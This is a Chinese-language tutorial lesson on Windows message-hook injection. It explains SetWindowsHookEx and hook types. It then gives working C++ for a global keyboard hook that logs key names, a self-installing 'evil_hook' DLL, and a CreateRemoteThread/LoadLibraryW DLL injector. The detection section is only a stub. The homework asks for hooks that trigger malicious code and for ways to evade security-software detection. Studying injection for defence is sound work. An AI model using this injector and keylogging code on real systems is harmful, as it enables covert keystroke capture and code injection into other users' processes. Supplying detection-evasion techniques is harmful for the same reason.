Inject专题

3、消息钩子注入

1、课程目标

  1. 理解Windows消息钩子机制
  2. 掌握SetWindowsHookEx API的使用方法
  3. 实现基于消息钩子的代码注入技术
  4. 了解该技术的检测与防护方法

2、名词解释

术语 全称 解释
Windows Hook Windows钩子 拦截系统消息的机制
SetWindowsHookEx - 安装钩子的Windows API
WH_KEYBOARD_LL Low-Level Keyboard Hook 低级键盘钩子
WH_MOUSE_LL Low-Level Mouse Hook 低级鼠标钩子
WH_CALLWNDPROC - 窗口过程调用钩子
HOOKPROC - 钩子过程回调函数指针

3、技术原理

1. Windows消息钩子概述

Windows消息钩子是一种允许应用程序监视和拦截系统消息的机制。通过安装钩子,应用程序可以捕获在系统中传递的各种消息,包括键盘输入、鼠标移动、窗口消息等。

消息钩子工作原理:
┌─────────────────────────────────────────────────────────────┐
│                    钩子安装者                              │
│  1. SetWindowsHookEx() 安装钩子到系统                      │
├─────────────────────────────────────────────────────────────┤
│  2. 系统维护全局钩子链表                                   │
├─────────────────────────────────────────────────────────────┤
│  3. 钩子过程函数作为回调执行                               │
└─────────────────────────────────────────────────────────────┘

消息传递流程:
应用程序1 → 系统消息队列 → 钩子1 → 钩子2 → ... → 钩子N → 目标窗口过程

                         钩子回调执行

当有消息产生时:
1. 系统检查是否有相关的全局钩子
2. 按照安装顺序依次调用钩子过程
3. 最后传递给目标窗口过程

2. 钩子类型详解

2.1 键盘钩子

  • WH_KEYBOARD_LL: 低级键盘钩子,可以捕获所有键盘输入
  • WH_KEYBOARD: 标准键盘钩子,只能捕获当前线程的键盘消息

2.2 鼠标钩子

  • WH_MOUSE_LL: 低级鼠标钩子,可以捕获所有鼠标输入
  • WH_MOUSE: 标准鼠标钩子,只能捕获当前线程的鼠标消息

2.3 窗口钩子

  • WH_CALLWNDPROC: 在系统向窗口过程发送消息之前调用
  • WH_CALLWNDPROCRET: 在窗口过程处理完消息后调用
  • WH_GETMESSAGE: 在 GetMessage 或 PeekMessage 从消息队列获取消息时调用

3. 核心API详解

3.1 SetWindowsHookEx

HHOOK SetWindowsHookExA(
  int       idHook,        // 钩子类型
  HOOKPROC  lpfn,          // 钩子过程回调函数
  HINSTANCE hmod,          // 实例句柄
  DWORD     dwThreadId     // 线程ID
);

参数说明:

  • idHook: 钩子类型(如WH_KEYBOARD_LL)
  • lpfn: 钩子回调函数地址
  • hmod: DLL实例句柄(全局钩子必须为DLL)
  • dwThreadId: 线程ID(0表示全局钩子)

3.2 CallNextHookEx

LRESULT CallNextHookEx(
  HHOOK hhk,      // 钩子句柄
  int   nCode,    // 钩子代码
  WPARAM wParam,  // 消息参数
  LPARAM lParam   // 消息参数
);

必须调用此函数将消息传递给链中的下一个钩子。

4、代码实现

1. 基础键盘钩子注入

// hook_injection.cpp
// 消息钩子注入实现

#include <windows.h>
#include <stdio.h>

//=============================================================================
// 方法1: 基础键盘钩子注入
//=============================================================================
HHOOK g_hKeyboardHook = NULL;

// 键盘钩子回调函数
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
        
        // 记录按键信息(这里可以执行恶意代码)
        if (wParam == WM_KEYDOWN) {
            // 简单示例:当按下F12时执行代码
            if (pKeyInfo->vkCode == VK_F12) {
                printf("[HOOK] F12 pressed - executing payload...\n");
                
                // 这里可以执行任意代码
                // 例如弹出消息框、下载文件等
                MessageBoxA(NULL, "Hook payload executed!", "Info", MB_OK);
            }
        }
    }
    
    // 传递给下一个钩子
    return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}

// 安装键盘钩子
BOOL InstallKeyboardHook() {
    printf("[*] Installing low-level keyboard hook\n");
    
    g_hKeyboardHook = SetWindowsHookExA(
        WH_KEYBOARD_LL,
        LowLevelKeyboardProc,
        GetModuleHandleA(NULL),  // 当前线程实例
        0                        // 全局钩子
    );
    
    if (!g_hKeyboardHook) {
        printf("[-] SetWindowsHookExA failed: %lu\n", GetLastError());
        return FALSE;
    }
    
    printf("[+] Keyboard hook installed successfully\n");
    return TRUE;
}

// 卸载键盘钩子
void UninstallKeyboardHook() {
    if (g_hKeyboardHook) {
        UnhookWindowsHookEx(g_hKeyboardHook);
        g_hKeyboardHook = NULL;
        printf("[+] Keyboard hook uninstalled\n");
    }
}

// 消息循环
void MessageLoop() {
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
}

2. DLL注入方式的钩子

//=============================================================================
// 方法2: DLL注入实现钩子注入
// 这种方式更适合跨进程注入
//=============================================================================

// evil_hook.dll 的主文件
// evil_hook.cpp
#include <windows.h>

HHOOK g_hHook = NULL;

// 钩子过程函数
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HCBT_CREATEWND) {
        // 当有窗口创建时执行
        printf("[DLL HOOK] Window created\n");
        
        // 执行恶意代码
        // 例如注入到新创建的进程中
    }
    
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

// DLL入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        DisableThreadLibraryCalls(hModule);
        
        // 安装钩子
        g_hHook = SetWindowsHookExA(WH_CBT, CBTProc, hModule, 0);
        if (g_hHook) {
            printf("[DLL] Hook installed\n");
        }
        break;
        
    case DLL_PROCESS_DETACH:
        if (g_hHook) {
            UnhookWindowsHookEx(g_hHook);
        }
        break;
    }
    return TRUE;
}

// 导出函数:供注入者调用
extern "C" __declspec(dllexport) void StartHook() {
    // 钩子已经在DllMain中安装
}

3. 完整的钩子注入示例

//=============================================================================
// 方法3: 完整的消息钩子注入实现
//=============================================================================

// 注入器程序
class HookInjector {
private:
    DWORD m_targetPid;
    HHOOK m_hHook;
    
public:
    HookInjector(DWORD targetPid) : m_targetPid(targetPid), m_hHook(NULL) {}
    
    // 通过DLL注入安装钩子
    BOOL InjectViaDll(const wchar_t* dllPath) {
        printf("[*] Injecting hook via DLL to PID: %lu\n", m_targetPid);
        
        // 1. 打开目标进程
        HANDLE hProcess = OpenProcess(
            PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
            FALSE,
            m_targetPid
        );
        
        if (!hProcess) {
            printf("[-] OpenProcess failed: %lu\n", GetLastError());
            return FALSE;
        }
        
        // 2. 在目标进程中分配内存存储DLL路径
        size_t dllPathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t);
        LPVOID remoteDllPath = VirtualAllocEx(
            hProcess,
            NULL,
            dllPathLen,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        );
        
        if (!remoteDllPath) {
            CloseHandle(hProcess);
            return FALSE;
        }
        
        // 3. 写入DLL路径
        if (!WriteProcessMemory(hProcess, remoteDllPath, dllPath, dllPathLen, NULL)) {
            VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
            CloseHandle(hProcess);
            return FALSE;
        }
        
        // 4. 获取LoadLibraryW地址
        HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
        LPTHREAD_START_ROUTINE pLoadLibrary = 
            (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");
        
        // 5. 创建远程线程加载DLL
        HANDLE hThread = CreateRemoteThread(
            hProcess,
            NULL,
            0,
            pLoadLibrary,
            remoteDllPath,
            0,
            NULL
        );
        
        if (!hThread) {
            VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
            CloseHandle(hProcess);
            return FALSE;
        }
        
        // 6. 等待DLL加载完成
        WaitForSingleObject(hThread, INFINITE);
        
        // 7. 清理
        CloseHandle(hThread);
        VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        
        printf("[+] DLL injected successfully\n");
        return TRUE;
    }
    
    // 直接钩子注入(适用于同进程)
    BOOL DirectHookInjection() {
        printf("[*] Installing direct hook\n");
        
        m_hHook = SetWindowsHookExA(
            WH_GETMESSAGE,
            (HOOKPROC)HookProcedure,
            GetModuleHandleA(NULL),
            0
        );
        
        if (!m_hHook) {
            printf("[-] SetWindowsHookExA failed: %lu\n", GetLastError());
            return FALSE;
        }
        
        printf("[+] Direct hook installed\n");
        return TRUE;
    }
    
    // 钩子过程函数
    static LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam) {
        if (nCode >= 0) {
            // 处理消息
            MSG* pMsg = (MSG*)lParam;
            
            // 示例:拦截特定消息
            if (pMsg->message == WM_LBUTTONDOWN) {
                printf("[HOOK] Mouse left button clicked at (%ld, %ld)\n", 
                       LOWORD(pMsg->lParam), HIWORD(pMsg->lParam));
            }
        }
        
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    
    // 卸载钩子
    void UninstallHook() {
        if (m_hHook) {
            UnhookWindowsHookEx(m_hHook);
            m_hHook = NULL;
        }
    }
};

// 使用示例
void DemonstrateHookInjection() {
    printf("========================================\n");
    printf("     Hook Injection Demo                \n");
    printf("========================================\n\n");
    
    // 示例1: 直接钩子注入
    HookInjector injector(0); // 0表示当前进程
    if (injector.DirectHookInjection()) {
        printf("[*] Running message loop for 10 seconds...\n");
        
        // 运行消息循环一段时间
        MSG msg;
        DWORD startTime = GetTickCount();
        while (GetTickCount() - startTime < 10000) {
            if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
            }
            Sleep(10);
        }
        
        injector.UninstallHook();
    }
}

4. 高级钩子技术

//=============================================================================
// 方法4: 多类型钩子组合注入
//=============================================================================

class AdvancedHookInjector {
private:
    HHOOK m_keyboardHook;
    HHOOK m_mouseHook;
    HHOOK m_windowHook;
    
public:
    AdvancedHookInjector() : m_keyboardHook(NULL), m_mouseHook(NULL), m_windowHook(NULL) {}
    
    // 安装多种类型的钩子
    BOOL InstallMultipleHooks() {
        printf("[*] Installing multiple hooks\n");
        
        // 安装键盘钩子
        m_keyboardHook = SetWindowsHookExA(
            WH_KEYBOARD_LL,
            KeyboardHookProc,
            GetModuleHandleA(NULL),
            0
        );
        
        if (!m_keyboardHook) {
            printf("[-] Failed to install keyboard hook\n");
            return FALSE;
        }
        
        // 安装鼠标钩子
        m_mouseHook = SetWindowsHookExA(
            WH_MOUSE_LL,
            MouseHookProc,
            GetModuleHandleA(NULL),
            0
        );
        
        if (!m_mouseHook) {
            printf("[-] Failed to install mouse hook\n");
            UnhookWindowsHookEx(m_keyboardHook);
            return FALSE;
        }
        
        // 安装窗口钩子
        m_windowHook = SetWindowsHookExA(
            WH_CALLWNDPROC,
            WindowHookProc,
            GetModuleHandleA(NULL),
            0
        );
        
        if (!m_windowHook) {
            printf("[-] Failed to install window hook\n");
            UnhookWindowsHookEx(m_keyboardHook);
            UnhookWindowsHookEx(m_mouseHook);
            return FALSE;
        }
        
        printf("[+] All hooks installed successfully\n");
        return TRUE;
    }
    
    // 键盘钩子过程
    static LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if (nCode >= 0) {
            KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
            
            if (wParam == WM_KEYDOWN) {
                // 记录按键
                char keyName[256] = {0};
                GetKeyNameTextA(pKeyInfo->scanCode << 16, keyName, sizeof(keyName));
                printf("[KEYBOARD] %s pressed\n", keyName);
                
                // 特定按键触发恶意行为
                if (pKeyInfo->vkCode == VK_F11) {
                    // 执行恶意代码
                    ShellExecuteA(NULL, "open", "calc.exe", NULL, NULL, SW_SHOWNORMAL);
                }
            }
        }
        
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    
    // 鼠标钩子过程
    static LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if (nCode >= 0) {
            MSLLHOOKSTRUCT* pMouseInfo = (MSLLHOOKSTRUCT*)lParam;
            
            switch (wParam) {
            case WM_LBUTTONDOWN:
                printf("[MOUSE] Left button clicked at (%ld, %ld)\n", 
                       pMouseInfo->pt.x, pMouseInfo->pt.y);
                break;
                
            case WM_RBUTTONDOWN:
                printf("[MOUSE] Right button clicked at (%ld, %ld)\n", 
                       pMouseInfo->pt.x, pMouseInfo->pt.y);
                break;
                
            case WM_MOUSEWHEEL:
                printf("[MOUSE] Wheel rotated\n");
                break;
            }
        }
        
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    
    // 窗口钩子过程
    static LRESULT CALLBACK WindowHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if (nCode >= 0) {
            CWPRETSTRUCT* pCwp = (CWPRETSTRUCT*)lParam;
            
            switch (pCwp->message) {
            case WM_CREATE:
                printf("[WINDOW] Window created: HWND=%p\n", pCwp->hwnd);
                break;
                
            case WM_DESTROY:
                printf("[WINDOW] Window destroyed: HWND=%p\n", pCwp->hwnd);
                break;
            }
        }
        
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    
    // 卸载所有钩子
    void UninstallAllHooks() {
        if (m_keyboardHook) {
            UnhookWindowsHookEx(m_keyboardHook);
            m_keyboardHook = NULL;
        }
        
        if (m_mouseHook) {
            UnhookWindowsHookEx(m_mouseHook);
            m_mouseHook = NULL;
        }
        
        if (m_windowHook) {
            UnhookWindowsHookEx(m_windowHook);
            m_windowHook = NULL;
        }
        
        printf("[+] All hooks uninstalled\n");
    }
};

5、检测与防护

1. 常见检测方法

检测方式 原理 绕过难度
钩子监控 监控SetWindowsHookEx调用
DLL注入检测 检测异常的DLL加载
消息流分析 分析异常的消息处理模式
进程行为监控 监控进程间的异常交互

2. 防护措施

// 钩子检测示例
#include <windows.h>
#include <tlhelp32.h>

// 检测全局钩子
BOOL DetectGlobalHooks() {
    // 枚举所有线程
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return FALSE;
    }
    
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    DWORD currentPid = GetCurrentProcessId();
    
    if (Thread32First(hSnapshot, &te)) {
        do {
            // 检查非当前进程的线程是否安装了钩子
            if (te.th32OwnerProcessID != currentPid) {
                // 获取线程信息
                HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, te.th32ThreadID);
                if (hThread) {
                    // 这里可以检查线程是否有关联的钩子
                    // 实际实现需要更复杂的检测机制
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    
    CloseHandle(hSnapshot);
    return FALSE; // 简化实现
}

// 防护钩子注入
void ProtectAgainstHookInjection() {
    // 1. 监控SetWindowsHookEx调用
    // 2. 检测异常的DLL加载
    // 3. 验证钩子链的完整性
    printf("[PROTECTION] Hook injection protection initialized\n");
}

3、课后作业

3.1、作业1:实现鼠标钩子注入

扩展代码,实现基于鼠标钩子的注入技术,当用户执行特定鼠标操作时触发恶意代码。

3.2、作业2:实现窗口钩子注入

研究WH_CALLWNDPROC钩子,实现基于窗口消息的注入技术。

3.3、作业3:绕过钩子检测

研究如何绕过安全软件对钩子注入的检测,实现更隐蔽的注入。

4、参考资料

  1. Windows Internals, Part 1: System architecture, processes, threads, memory management
  2. 《Windows核心编程》- Jeffrey Richter
  3. MSDN文档: SetWindowsHookEx, CallNextHookEx, UnhookWindowsHookEx
  4. 《恶意代码分析实战》- Michael Sikorski & Andrew Honig